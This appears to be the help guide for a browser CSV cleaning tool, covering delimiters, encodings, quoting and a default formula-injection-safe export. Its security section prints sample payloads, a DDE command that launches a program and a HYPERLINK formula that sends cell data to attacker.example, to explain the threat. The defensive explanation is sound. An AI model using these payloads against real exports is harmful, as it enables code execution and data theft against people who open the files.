Tidy delimiters, headers, duplicates and encodings in spreadsheet exports.
A CSV file is not really a format, it is a family of conventions. The specification most tools point at, RFC 4180, was written in 2005 to describe what software was already doing rather than to tell it what to do. The result is that two programs can both claim CSV support and still disagree about the delimiter, the line ending, the quoting style and the character encoding.
The most common surprise is the delimiter. Software sold in countries that use a comma as the decimal separator — most of continental Europe — frequently exports semicolon-separated files, because a comma is already busy. Those files still end in .csv. Open one in a tool that assumes commas and every row collapses into a single column.
The second most common surprise is encoding. A file saved as UTF-8 often begins with an invisible three-byte marker called a byte-order mark. Excel on Windows uses it to recognise UTF-8. Many Unix tools do not expect it, so the mark gets glued onto the first header name and a column called "id" silently becomes a column called "id" that no lookup will ever match.
Choose your file. Parsing happens in a background worker thread, so even a large export will not freeze the page while it is read.
Leave the delimiter on "Auto-detect" the first time. Detection works by parsing a sample with each candidate delimiter and choosing the one that produces the most consistently rectangular result — which is why it is not fooled by commas sitting inside quoted fields of a semicolon-separated file. If the preview still looks wrong, override it manually.
Check the row and column counts under the file picker before doing anything else. If the column count is 1, the delimiter is wrong. If the row count is much larger than you expected, the file probably contains quoted newlines that another tool has already mangled.
Warnings name the specific row number, counting the way you would count in a text editor, so you can go and look at the problem directly.
A "ragged row" warning means a row had a different number of cells than the header. This tool never discards those cells. Short rows are padded with blanks and long rows keep their extra values, because silently deleting somebody's data to make a grid look tidy is the worst thing a cleaning tool can do. Fix the source row if the extra comma was a mistake.
An "unclosed quote" warning means a double-quote was opened and never closed, so everything after it was read as one enormous field. This is almost always a genuine corruption in the source file, and it is worth fixing upstream rather than downstream.
The cleanup buttons apply to the whole table and each one can be undone. Removing duplicate rows keeps the first occurrence, so the original row survives and the ordering of surviving data does not change.
Column controls let you rename headers, choose which columns to export, and sort by any column. Sorting detects whether a column is numeric: a numeric column sorts 9 before 10, while a text column sorts "10" before "9", which is usually what you want in each case.
Before downloading, look at the export options. The formula-injection-safe option is on by default and is explained in its own guide below — it is the one setting here with a genuine security consequence.
A CSV file contains no code, but a spreadsheet application will happily treat some of its text as code the moment the file is opened.
Excel, Google Sheets and LibreOffice Calc all interpret a cell whose first character is =, +, - or @ as the beginning of a formula. That behaviour is deliberate and useful when you type it yourself. It becomes a vulnerability when the cell content came from somewhere you do not control.
Imagine a web form that collects a name, and an administrator who periodically exports the submissions to CSV and opens them in Excel. An attacker submits a name that is not a name but a formula.
A classic payload looks like =cmd|' /C calc'!A0. When the export is opened, Excel parses it as a dynamic data exchange instruction rather than as text. Older and unpatched configurations would attempt to launch an external program. Modern versions show a warning prompt first — but the prompt is the only thing standing between the payload and execution, and users click through prompts.
Data exfiltration is the quieter variant and does not need DDE at all. =HYPERLINK("https://attacker.example/?d="&A1,"Click for details") builds a link containing the contents of a neighbouring cell. A curious administrator clicks it, and a row of the spreadsheet leaves the building in a URL. IMPORTXML in Google Sheets can fetch a remote URL with no click required at all.
The important point is that the attacker never needed access to the spreadsheet, the export tool, or the administrator's machine. They only needed one text field that eventually reaches a CSV export. This is why the vulnerability is usually recorded against the application that produced the file, not the spreadsheet that opened it.
When "Formula-injection-safe" is enabled — and it is enabled by default — every cell whose first character is =, +, -, @, a tab or a carriage return is prefixed with a single apostrophe before being written.
The apostrophe is the conventional spreadsheet marker meaning "treat the rest of this cell as literal text". Excel does not display it in the cell; you see it only in the formula bar. The payload is still visible and still fully recoverable, but it is inert.
Tab and carriage return are included in that list because they are whitespace that some naive filters trim before checking the first character, which lets a payload slip past a check that only looked at index zero of a trimmed string. Checking the raw first character closes that gap.
The mitigation changes your data, and there is no version of it that does not. If a cell genuinely contained =SUM(A1:A2) because you wanted a working formula in the output, the safe export turns it into the literal text =SUM(A1:A2) and it will not calculate. A spreadsheet cannot distinguish your intended formula from an attacker's, and neither can we.
That is precisely why this is a visible toggle rather than silent behaviour. If you are exporting a file that is supposed to contain live formulas, and you trust every value in it, turn the option off deliberately and knowingly. If the data contains anything that originated from a user, a form, a customer, a survey or an external system, leave it on.
One refinement is worth knowing about. A naive implementation flags every cell starting with a minus sign, which mangles every negative number in the file: -42 becomes '-42 and stops being a number, quietly corrupting an entire column of financial data. This tool exempts values that parse as plain numbers, so -42, -3.14 and -1e5 pass through untouched while -1+1+cmd|' /C calc'!A0 does not, because it is not a number.
Escape on write, not on read. The file you produce should be safe to open anywhere, because you cannot control which application opens it or how old that application is.
Do not rely on the spreadsheet's warning dialog as your control. It is a last line of defence aimed at a user who is trying to get their work done, and it is routinely dismissed.
Do not try to solve this by stripping dangerous characters. Deleting the leading = corrupts legitimate data and still misses payloads that begin with whitespace. Prefixing with an apostrophe preserves the original value exactly while removing its executability, which is why it is the recommended approach.
A field must be wrapped in double quotes when it contains the delimiter, a double quote, or a line break. Inside a quoted field, a literal double quote is written twice: "she said ""hi""" is one field containing she said "hi".
This tool quotes minimally on export: fields are wrapped only when they need to be. That means a file whose every field was quoted on input may come out with fewer quotes. The data is identical — "Ada" and Ada are the same value — but the bytes differ. If you need every field quoted, use the "Quote every field" option.
Fields with meaningful leading or trailing spaces are always quoted, because several parsers strip unquoted padding and would otherwise change your values.
RFC 4180 specifies CRLF between records, and that is what this tool writes by default, because it is the most broadly compatible choice across Windows and Unix tooling.
On input, all three conventions are accepted: CRLF, LF and lone CR. A newline inside a quoted field is preserved as part of the value and does not start a new row.
Your file is read by the browser, parsed in a Web Worker on your device, transformed in memory, and written back out by the browser's own download mechanism. It is never transmitted.
Nothing is stored. There is no autosave, no local database and no history that survives a page reload. Closing the tab discards everything; "Clear data" does the same immediately.
Analytics and advertising are disabled in this product, in every environment. No usage data about your file — not its name, size, contents or column names — is collected, because none of it is ever sent anywhere.